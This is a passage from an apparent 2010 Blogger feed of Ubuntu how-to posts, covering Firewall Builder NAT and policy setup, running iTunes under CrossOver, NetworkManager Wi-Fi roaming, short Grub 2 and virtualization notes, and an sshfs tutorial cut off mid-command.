predefined services for almost every TCP and UDP service in common use, along with predefined network ranges and time ranges. The User library is where objects you define will be stored, including firewalls, custom TCP and UDP services, and custom network ranges.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Define a new firewall&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Make sure the User library is selected, right-click on the Firewalls folder, and select New Firewall. The New Firewall dialog appears. Give your firewall a name, select the firewall software (typically "iptables" if you run Linux on your firewall), and select the firewall operating system (Linux 2.4/2.6). This is where you start to see the flexibility of Firewall Builder and its support for multiple firewall types.&lt;br /&gt;You also have the option of using preconfigured template firewall objects, which is a good idea if you're just getting started with Firewall Builder. The templates make it very easy to get started with a typical firewall scenario, rather than starting from scratch with a totally blank configuration. After you've made your selection, click Next.&lt;br /&gt;Click on each of the firewall template names to see a diagram and a brief explanation of how it works. For most small networks, "fw template 1" is a good choice, giving you a typical firewall with a dynamic external address, static internal addresses on the 192.168.1.0/24 network, unrestricted outbound access from the network, and access to the firewall itself only via SSH from inside the network. "fw template 2" is similar but also allows the firewall to operate as a DHCP and DNS server for the internal network.&lt;br /&gt;Once you have selected a template, you will be returned to the main Firewall Builder policy-management screen, but you will now have a default policy defined for your new firewall. Firewall Builder displays policy rules in a list, with the rules applied in order, starting at the top and working down until a match is found&lt;br /&gt;There are multiple rules lists that can be accessed using tabs across the top of the list. The primary list is Policy, which are the rules that control allowed and disallowed activity throughout the firewall. Then there is an individual rule list for each interface on the firewall, and finally a NAT list that allows you to configure Network Address Translation rules. You don't usually need to worry about the individual interfaces; most changes will be to Policy and NAT.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Add a host-specific policy&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;To understand how Policy and NAT are managed, try applying a specific scenario, such as providing external access to an internal web server.&lt;br /&gt;Start by adding a Host object for the server. Go through the User object tree to User Objects Hosts, right-click on Hosts, and select New Host. Enter a name such as www.example.com for your host, select the checkbox labeled Use Preconfigured Template Host Objects, and then click Next.&lt;br /&gt;Select the "PC with 1 interface" template and click Finish. An object will be added to your Hosts list with an interface predefined, so click through to User Objects Hosts &lt;www.example.com&gt; eth0 &lt;www.example.com&gt;, then double-click on it to edit the interface values. Change the IP address to match the actual internal address of your server, apply the changes, and close the dialog.&lt;br /&gt;Assuming you have a range of public, static IP addresses assigned to the external interface of your network, right-click on "eth0" and select Add IP Address. Enter the public IP address and network mask, apply changes, and close.&lt;br /&gt;Your server now has two IP addresses defined: the real address assigned to its interface and the public address that you want people to use to access it.&lt;br /&gt;Now click the NAT tab at the top of the rules list. Add a new, blank NAT rule by either right-clicking on the number of an existing rule or selecting Rules Add Rule Below from the menu.&lt;br /&gt;You can now build your NAT rule by dragging and dropping object icons into appropriate places. The columns are:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Original Src&lt;br /&gt;The original source address of packets before translation&lt;br /&gt;&lt;br /&gt;Original Dst&lt;br /&gt;The original destination of packets before translation&lt;br /&gt;&lt;br /&gt;Original Srv&lt;br /&gt;The original service (port) the packets arrived on&lt;br /&gt;&lt;br /&gt;Translated Src&lt;br /&gt;The new source address to report that packets came from&lt;br /&gt;&lt;br /&gt;Translated Dst&lt;br /&gt;The new destination address to apply to packets&lt;br /&gt;&lt;br /&gt;Translated Srv&lt;br /&gt;The new port to direct packets to&lt;br /&gt;&lt;/blockquote&gt;The first rule to set up is the translation to apply to packets directed toward the server from outside the firewall. Click the icon representing the external IP address of the server and drag it into the Original Dst box, and then click the internal IP address icon and drag it into the Translated Dst box.&lt;br /&gt;Now add another blank rule and set it to translate packets directed from the server to the outside world. Click the internal IP address icon and drag it into the Original Src box, and the external IP address icon and drag it into the Translated Src box.&lt;br /&gt;You now have rules that will cause packets traveling to and from the server to be modified as they pass through the firewall, with external machines seeing only the external IP address. &lt;br /&gt;&lt;br /&gt;In these examples, only the IP addresses were translated. However, you can also apply translations to services. For example, you may have a reverse-proxy cache running as a web-server accelerator internally on port 8080, and you want external users to be able to access it using the standard HTTP port, port 80. By dragging and dropping services into the Original Srv and Translated Srv boxes from the Standard library (and creating services in the User library as necessary), you can apply port translation in the same way as address translation. Firewall Builder gives you the flexibility to convert the source and destination addresses and port of packets at will, so adjust the NAT rules until they represent the transformations you want to apply to network traffic.&lt;br /&gt;However, NAT rules alone are not enough. Without a matching policy rule, no packets will be allowed through the firewall, even if they match NAT rules. While the NAT rules define what can happen, policy rules define what is allowed to happen. Policy rules have the final say.&lt;br /&gt;Click the Policy tab and go down through the list of existing rules to find an appropriate place to add rules for your host, most likely right near the end, before the general network rule and the fall-through Deny All rule. Right-click in the rule-number column and add a rule. Drag the external IP address icon of your web server into the Destination box, and then right-click the Deny icon in the Action column and change it to Allow.&lt;br /&gt;If you want to allow full access to every port on your web server from outside your network, that's all you need to do. However, it's safest to make the rule more specific and allow only certain services through, so click the User/Standard drop-down near the top left and switch to the Standard library. Browse down through the library to Standard Services TCP "http" and drag its icon into the Service box of your new rule. If you want to allow SSL connections, you can also drag the "https" icon into the same box. You now have a rule that explicitly allows connections from any host to your web server but only on ports 80 and 443&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Compile and Install the Policy&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Once you are happy with the policy you have created, you need to apply it to the firewall. Firewall Builder does this in two steps. First, the policy is compiled into a script to suit the software on your firewall; then, it's pushed out to the firewall and loaded.&lt;br /&gt;Select Rules Compile or click the gear icon to have Firewall Builder compile your rules. You will see a dialog reporting progress, and when it finishes, you will have a new script placed in Firewall Builder's working directory alongside the project file. You can now copy the script to the target firewall by SSH and execute it to have the rules applied. To keep everything neat, it's a good idea to create a directory on the firewall to store the script:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;$ sudo mkdir /etc/firewall&lt;/blockquote&gt;&lt;br /&gt;Then copy your script into that directory and execute it manually to test it. Even though it will have a .fw extension, the file is actually just a shell script that you can run in the normal way:&lt;br /&gt;&lt;blockquote&gt;$ sudo /etc/firewall/&lt;br /&gt;               &lt;br /&gt;                  firewallname.fw&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Firewall Builder provides a large number of configuration options to control the way the script is generated for each firewall, so if the script didn't work properly on your firewall, you may need to right-click the firewall icon in the object tree, select Edit, and then click the Firewall Settings button. The tabs at the top give you access to a lot of options, so go through them carefully and change any settings that may apply to your particular firewall; then compile the rules and test them again.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Automatic Policy Startup&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;The firewall script needs to be run each time your firewall boots up, so use your favorite editor to open /etc/rc.local and add the path to the script just before the exit 0 line. The end of /etc/rc.local should look something like this:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;/etc/firewall/firewallname.fw&lt;br /&gt;exit 0&lt;/blockquote&gt;&lt;br /&gt;The rc.local file is executed after all the other startup scripts whenever Ubuntu switches to a new multiuser runlevel. Referencing your script in there ensures it will be executed after other services such as networking have started up, and that it won't be started if you boot up in single-user mode. This is handy if you need to fix configuration problems by booting into single-user mode.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Automatic Policy Installation&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Once you are happy that the rules are being generated correctly for your firewall, you can save yourself some effort on subsequent updates by configuring Firewall Builder to manage installing and activating the script on your behalf. Select the firewall icon (located in User Firewalls), right-click, select Edit, and the Firewall dialog will appear. Click Firewall Settings to re-enter the firewall options dialog. Click the Installer tab to be presented with options to execute a script to install and activate the firewall rules. The lower section of the dialog provides two text-entry fields that you can use to invoke any external script or command you like; so, for example, you can write a script that copies the script to the firewall by SCP and then executes it using SSH. Firewall Builder even comes with a sample script to do exactly what you will find installed in /usr/bin/fwb_install. Full information on how to use fwb_install is available in its manpage:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;$ man fwb_install&lt;/blockquote&gt;&lt;br /&gt;Firewall Builder also has an internal policy-installation mechanism, which is perfectly adequate for most environments.&lt;br /&gt;To set up automatic policy installation, first create a group such as fwadmin on the firewall, and then create a user and make it a member of the group:&lt;br /&gt;&lt;blockquote&gt;$ sudo addgroup fwadmin&lt;br /&gt;$ sudo adduser fwadmin -G fwadmin&lt;/blockquote&gt;&lt;br /&gt;Set up a directory on the firewall to store the firewall configuration:&lt;br /&gt;&lt;blockquote&gt;$ sudo mkdir -m 0770 /etc/firewall&lt;br /&gt;$ sudo chown fwadmin:fwadmin /etc/firewall&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Configure sudo to allow this user to execute the firewall script without entering a password by running:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;$ sudo visudo&lt;/blockquote&gt;&lt;br /&gt;and adding a line similar to the following to the end of the /etc/sudoers file:&lt;br /&gt;&lt;br /&gt;%fwadmin = NOPASSWD:/etc/firewall/firewallname.fw&lt;br /&gt;&lt;br /&gt;The &lt;i&gt;firewallname.fw&lt;/i&gt; string should be replaced by the actual name of the script generated by Firewall Builder for this firewall.&lt;br /&gt;&lt;br /&gt;You can optionally set up public-key encryption for access to the fwadmin account on the firewall.&lt;br /&gt;In the Installer tab of the Firewall Settings dialog, put in the path to the directory you created on the firewall and the username you created.&lt;br /&gt;&lt;br /&gt;You may not need to specify an alternate name or address for the firewall: Firewall Builder will try to automatically determine the IP address to use to communicate with the firewall, but it will use an address if you put one in.&lt;br /&gt;Save and close the Firewall Settings dialog, and you should now be able to install and activate your policy simply by clicking the Install icon or by selecting Rules Install from the menu. From now on, any updates you make can be applied simply by clicking Compile and then Install.&lt;br /&gt;&lt;br /&gt;Extensive documentation and tutorials are available on the official Firewall Builder site at http://www.fwbuilder.org if you want to learn more. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-1813225575601839811?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/1813225575601839811'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/1813225575601839811'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2010/04/protect-your-network-with-firewall.html' title='Protect Your Network with a Firewall'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-3422282844824018518</id><published>2010-04-04T19:33:00.002+07:00</published><updated>2010-04-04T19:48:31.512+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Buy Songs at the iTunes Music Store</title><content type='html'>Yes, it's possible to access, buy, and download music from iTMS on Linux. &lt;br /&gt;If you're not averse to spending a little money for a fantastically useful app and to running a proprietary, nonfree program (but then again, if you were, why are you using the DRM-laden iTunes Music Store?), CrossOver Office from CodeWeavers is a great way to get your iTMS fix. As a bonus, you'll also be able to run other Windows-based, proprietary programs, such as Microsoft Word, Excel, PowerPoint, and Internet Explorer, as well as multimedia apps like QuickTime and Shockwave. The advantage of CrossOver is that it makes it really easy to run these Windows programs in Linux, and you won't be skirting the terms of their software licenses. The disadvantage is that CrossOver costs $40, which is, IMHO, a pittance for all that it offers you. If you're not sure if you want to buy the program, you can try it for free for 30 days, which should be plenty of time for you to kick the tires and discover how useful this program really is.&lt;br /&gt;To start with CrossOver, head over to http://www.codeweavers.com. CrossOver Office is featured prominently on the home page, with a big red Try Now button that you should press. Follow the instructions on the page and download the software via FTP, BitTorrent, or HTTP.&lt;br /&gt;After downloading the CrossOver shell script, you need to make it executable and then install it. Both actions are performed as a normal user, without sudo:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;$ chmod 744 install-crossover-standard-demo-5.0.1.sh&lt;br /&gt;$ ./install-crossover-standard-demo-5.0.1.sh&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;A GUI installer will open. Click OK to accept the quite reasonable licensing terms (basically that you won't copy the software and let everyone in the world use it), and then you'll be asked where you wish to install the software. By default, CrossOver will install at /home/&lt;user&gt;/cxoffice, but I don't like cluttering up my home directory, so I always change that to /home/scott/.cxoffice. (There's a dot in front of cxoffice, which makes it a hidden directory.) Once that's in place, click Begin Install.&lt;br /&gt;The program installs, and immediately the Introduction Wizard opens so that you can tell CrossOver about your Internet connectivity. Click Next, and you'll be asked if you use an HTTP proxy. Most likely you don't, so click Finish; if you do, enter the correct information and then click Finish.&lt;br /&gt;You're back at the main Setup screen, but now there's a new button: Install Windows Software. Click it, and the Installation Wizard opens, displaying a list of supported Windows software, including various Microsoft, Adobe, Intuit, and other companies' apps. Scroll down until you see iTunes, and then click Next.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;If it's not clear by now, you are expected to own a license for the software you install, or install freeware like Shockwave and QuickTime. CodeWeavers is a legit company and is not going to provide you with copies of software you're supposed to purchase.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;The first screen of the install tells you that CrossOver is going to download and use iTunes 4.9.0, and that you should avoid upgrading. Listen to the folks at CodeWeavers! They test this stuff, and they know what they're talking about.&lt;br /&gt;You're given a choice between the Express and Advanced install; go with the Express unless you absolutely know what you're doing and need the Advanced option. Click Next. CrossOver will download and install iTunes for you, and the whole time Apple's program will think it's running on Windows instead of Linux. I'm not going to walk you through an installation of iTunes, since presumably you're already familiar with how to install (and use) it. It's mostly just Next, Next, Next, anyway.&lt;br /&gt;When CrossOver finishes, you'll reach the end of the Installation Wizard. If you're ready to quit CrossOver, click Finish. Before doing so, you ought to check the box next to "Remove installer files" so you can keep your hard drive tidy. If you had a problem with the installation and you want to help CodeWeavers diagnose the issue, check the box next to "Package log for CodeWeavers support," which saves a logfile detailing the process, so that tech support has some useful info. If you want to place more software on your system, check the box next to "Install more Windows software," which starts the wizard over again. Finally, "View installed associations" shows you what file types are now linked to the program you just installed. It may be handy to see, so feel free to check it.&lt;br /&gt;Now that iTunes is installed on your Ubuntu machine, you'll find a shortcut for it on your desktop, as well as on your K menu (if you're using KDE) or Applications menu (if you're using GNOME). Start up the program, and you can buy as much DRM-laden music as you'd like.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;I'm not really a fan of iTunes, or DRM in general. For my reasons why, see an article titled "The Big DRM Mistake" that I wrote for SecurityFocus, available at http://www.securityfocus.com/columnists/390.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;If you ever want to uninstall iTunes, go to your K menu or Applications menu, and then to CrossOver Configuration. Select iTunes, and simply press Repair/Remove.&lt;br /&gt;I've used CrossOver to run a wide variety of software; in fact, I've written several books using the VBA-laden Microsoft Word templates that publishers love so much, and they've run beautifully under CrossOver. You'll find that CrossOver is an incredibly invaluable tool that can already run a lot of important Windows apps, including iTunes, with the list growing all the time. Try it out for 30 days and see what you think. &lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-3422282844824018518?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/3422282844824018518'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/3422282844824018518'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2010/04/buy-songs-at-itunes-music-store.html' title='Buy Songs at the iTunes Music Store'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-2168133543027168356</id><published>2010-03-24T22:11:00.000+07:00</published><updated>2010-03-24T22:11:40.450+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Roam Wirelessly</title><content type='html'>Moving from one wireless network to another has traditionally been a pain under Linux. Here's how you can simplify this aspect of mobile computing using your wireless adapter and NetworkManager. &lt;br /&gt;One of the coolest things about having a laptop that's Wi-Fi-enabled is being able to go from place to place and freely associate with any hotspots that may be around. If you do this often, it really changes the way you work, as places like your local coffee shop have the potential to become your office. If you use a Windows or Mac OS-equipped laptop, bouncing from place to place isn't much of a challenge: you simply open up your computer, it tells you what access points are around, you click on one to associate with that network, and you're off and running. Under Linux, however, that's been problematic, as there haven't been any tools that make Wi-Fi easy...until now.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Using Your Wireless Network Card&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Ubuntu supports a good number of wireless cards and adapters out of the box; simply plug in your adapter and it should be recognized automatically.&lt;br /&gt;To verify your adapter is recognized, open a terminal window and issue the following command:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;bill@defiant:~$ iwconfig&lt;br /&gt;lo        no wireless extensions.&lt;br /&gt;&lt;br /&gt;eth0 no wireless extensions.&lt;br /&gt;&lt;br /&gt;eth1      IEEE 802.11g  ESSID:"Its A Grind" &lt;br /&gt;          Mode:Managed  Frequency:2.412 GHz  Access Point: 00:06:B1:14:C7:49&lt;br /&gt;          Bit Rate=24 Mb/s   Tx-Power=20 dBm&lt;br /&gt;          Retry limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;          Power Management:off&lt;br /&gt;          Link Quality=53/100  Signal level=-69 dBm  Noise level=-87 dBm&lt;br /&gt;          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0&lt;br /&gt;          Tx excessive retries:41  Invalid misc:0   Missed beacon:16&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;If you see output similar to what's above mentioning an IEEE interface, then your card is recognized by Ubuntu and you can either use the built-in networking tools (System Administration Networking) to manage it, or proceed on with this hack to install NetworkManager. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;NetworkManager and You&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;The folks over at Red Hat have come up with a tool that makes Wi-Fi management as easy as a couple of mouse clicks. The tool's called NetworkManager), and it's a GNOME applet that sits in your notification area. NetworkManager will not only manage Wi-Fi connections, it'll automatically hook up your laptop with a wired connection when you plug in an Ethernet cable.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;NetworkManager cannot manage any cards that have entries in /etc/network/interfaces. If you've added your network card to that file, make sure you remove it before you start working with NetworkManager.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;From the NetworkManager web site:&lt;br /&gt;&lt;br /&gt;A laptop user should never need to use the command line or configuration files to manage their network; it should "Just Work" as automatically as possible and intrude as little as possible into the user's workflow. NetworkManager attempts to make networking invisible. When moving into areas you've been before, NetworkManager automatically connects to the last network the user chose to connect to. Likewise, when back at the desk, NetworkManager will switch to the faster, more reliable wired network connection.&lt;br /&gt;So, now that we've whetted your appetite, let's get NetworkManager installed. First, you've got to meet a couple prerequisites:&lt;br /&gt;• You must have a wireless Ethernet adapter, either built-in or PCMCIA.&lt;br /&gt;• NetworkManager works only with DHCP-assigned addresses. If you must have a static IP address, work with your DHCP administrator to get a unique DHCP reservation, or you'll need to use another tool (such as System Administration Networking).&lt;br /&gt;Let's get NetworkManager installed and working. It's surprisingly easy.&lt;br /&gt;First, apt-get the packages. From a terminal, run:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;bill@defiant:~$ sudo apt-get install network-manager-gnome&lt;/blockquote&gt;&lt;br /&gt;This will install both the NetworkManager daemon (as a dependency) and the nm-applet that sits in the GNOME notification area. You'll notice that the NetworkManger service gets started when the installation completes. All that remains is to verify that nm-applet has been added to your session and to reboot the system, since changes to HAL (the hardware abstraction layer) were made when the packages installed.&lt;br /&gt;&lt;br /&gt;To verify that NetworkManager's nm-applet program has been added to your autostartup sessions, click on the System Menu in your menu bar, select Preferences, and then click on Sessions. &lt;br /&gt;&lt;br /&gt;Now all that remains for you to do is to reboot. Once you've rebooted and logged in to your machine, you'll see the NetworkManager icon in your notification area. If you're plugged into Ethernet, you should see a little "plug" icon. To use Wi-Fi, click on the NetworkManager icon and select the access point with which you want to associate. If the Wi-Fi access point requires an encryption code, you'll be prompted to enter it. Also, if this is your first time using the GNOME keyring services, you'll be prompted to select a keyring password. The GNOME keyring caches all the WEP keys for you, so all you need to remember is your GNOME keyring password.&lt;br /&gt;That's all you need to get wireless roaming working, thanks to NetworkManager&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-2168133543027168356?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/2168133543027168356'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/2168133543027168356'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2010/03/roam-wirelessly.html' title='Roam Wirelessly'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-4444513542691459269</id><published>2010-03-11T19:48:00.000+07:00</published><updated>2010-03-11T19:48:26.623+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Recovering Grub 2</title><content type='html'>GRand Unified Bootloader, version 2 (Grub 2) is the second version of GNU GRUB. It is the software responsible for loading and transferring control to the operating system kernel during the initial boot. Grub 2 is compatible with standard POSIX (GNU/Linux, *BSD, Mac OS, etc) and can also connect to systems incompatible with standard POSIX (Portable Operating System Interface for Unix). &lt;br /&gt;GRUB 2 is a complete rewriting of the Grub interface. Based on the research project PUPA, GRUB 2 is more modular and portable than its predecessor. Some of the GRUB 2 scheduled improvements include: &lt;br /&gt;• a graphical interface, including theming; &lt;br /&gt;• modular loading; &lt;br /&gt;• cross-platform compatibility; &lt;br /&gt;• scripting support; &lt;br /&gt;• user-customized boot entries; &lt;br /&gt;• revised partition naming. &lt;br /&gt;&lt;br /&gt;&lt;a href="https://wiki.ubuntu.com" target="_blank"&gt;Source and keep reading&lt;/a&gt;&lt;br /&gt;&lt;a href="https://wiki.ubuntu.com/Grub2" target="_blank"&gt;Mirror&lt;/a&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-4444513542691459269?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/4444513542691459269'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/4444513542691459269'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2010/03/recovering-grub-2.html' title='Recovering Grub 2'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-5784877703864610055</id><published>2010-03-11T19:46:00.000+07:00</published><updated>2010-03-11T19:46:34.825+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Virtualization and Emulation</title><content type='html'>With all the power that today's computers have, why be content to run only one operating system on them? Thanks to modern advances in virtualization technology, you can run multiple operating systems on a single computer at near-native speeds. There are many choices for virtualization on Linux. On the proprietary end, you've got applications such as VMware, and on the open source end, you've got Xen, coLinux, and QEMU (for more information not covered in this chapter, see http://fabrice.bellard.free.fr/qemu/  , &lt;a href="http://wiki.qemu.org/Index.html"&gt;Mirror&lt;/a&gt;).&lt;br /&gt;If you don't need a full-blown virtualization environment, the open source Wine suite may be just what you need: it's a call-level reimplementation of the Windows Application Programming Interfaces (APIs) that allows many Windows programs to run unmodified on Linux. With proprietary enhancements such as Cedega, Wine can even run many games!&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-5784877703864610055?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/5784877703864610055'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/5784877703864610055'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2010/03/virtualization-and-emulation.html' title='Virtualization and Emulation'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-3657188787026694659</id><published>2010-02-25T19:48:00.000+07:00</published><updated>2010-02-25T19:48:58.646+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Mount Remote Directories Securely and Easily</title><content type='html'>If you can access it via SSH, you can mount it on your filesystem, giving you secure access to your favorite stuff. &lt;br /&gt;Samba has transformed how Penguinistas interact on networks with Windows machines and even other Linux boxes. In particular, I often use smbfs (short for "Samba filesystem") to mount a Samba share on my box for easy access. For example, I have two computers on my network: a server named sophocles and a laptop named euripides. A huge collection of music can be found on sophocles at /var/music, but I want easy access to those goodies from euripides. Using Samba on sophocles, I share /var/music, and using smbfs on euripides, I mount /var/music on my server sophocles to /home/scott/tunes on my laptop euripides. By doing so, it appears to me while I'm using euripides as though tunes is just another local folder on my laptop, so I can read files from it, save to it, and do anything else I could if that folder were in fact on my machine.&lt;br /&gt;This is great, except that there are some issues. Setting up Samba can be a royal pain, so any time I can use something simpler, I jump at the chance. Second, Samba shares aren't secure by default. Call me paranoid, but I don't like anything flowing over a network that isn't encrypted. Yes, it's possible to tunnel Samba using SSH, but that just adds more time and trouble on top of the royal pain that Samba sometimes causes. Finally, Samba was designed for LANs, not the wild and woolly Internet, so accessing shares remotely is out of the question (yes, there are ways to do it, but it's just not a good idea on today's Net...and it causes yet more complication!).&lt;br /&gt;But I'm here to tell you that there's a better way: sshfs, the SSH filesystem. Instead of Samba, it uses SSH. All the problems I listed previously are obviated when you switch to SSH. SSH is a breeze to set up and use. All SSH traffic is encrypted, hence the name Secure SHell. And SSH was designed for use on LANs as well as the big, bad Internet, so it's a great choice no matter where you are.&lt;br /&gt;To go back to my original example, I can SSH from euripides to sophocles (and vice versa, for that matter), so I now use sshfs to mount /var/music on sophocles to /home/scott/tunes on euripides. It's easy, it's encrypted, and if this is a connection I'm going to need all the time, I can set things up in /etc/fstab to automate the whole process. Ready to try it out?&lt;br /&gt;Before doing anything else, make sure that you can SSH from the client to the server:&lt;br /&gt;$ ssh scott@sophocles&lt;br /&gt;Linux sophocles 2.6.15-18-386 #1 PREEMPT Thu Mar 9 14:41:49 UTC 2006 i686 GNU/Linux&lt;br /&gt;&lt;br /&gt;The programs included with the Ubuntu system are free software;&lt;br /&gt;the exact distribution terms for each program are described in the&lt;br /&gt;individual files in /usr/share/doc/*/copyright.&lt;br /&gt;&lt;br /&gt;Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by&lt;br /&gt;applicable law.&lt;br /&gt;Last login: Sun Mar 12 13:59:45 2006&lt;br /&gt;$ exit&lt;br /&gt;         &lt;br /&gt;&lt;br /&gt;If you can't SSH in, you need to set that up:&lt;br /&gt;• On an Ubuntu server, use sudo apt-get install ssh.&lt;br /&gt;• On Windows, install Cygwin, available from http://www.cygwin.com, and install OpenSSH as a service.&lt;br /&gt;• On the Mac, enable Remote Login in System Preferences Sharing Services.&lt;br /&gt;If you can successfully SSH in to the server, you're finished with that machine (see how much simpler this is than it would be if you were using Samba?).&lt;br /&gt;Now you need to focus on the local computer. Make sure you've enabled the universe archive in your /etc/apt/sources.list file. &lt;br /&gt;&lt;br /&gt;Once you've done so, install sshfs:&lt;br /&gt;&lt;br /&gt;$ sudo apt-get install sshfs&lt;br /&gt;         &lt;br /&gt;&lt;br /&gt;You'll be told that apt is going to have to install some additional packages in addition to sshfs (fuse-utils and libfuse2), so go ahead and approve apt's request.&lt;br /&gt;When apt finishes installing your new software, it's time to fix some permissions so that normal users can mount and unmount using sshfs. If you leave out this step, mounting and unmounting will require the use of sudo and knowledge of the root password, which you probably don't want. Better to go ahead and run this command, which grants all users on your system execute permission for the fusermount command, used by sshfs to perform its magic:&lt;br /&gt;&lt;br /&gt;$ sudo chmod +x 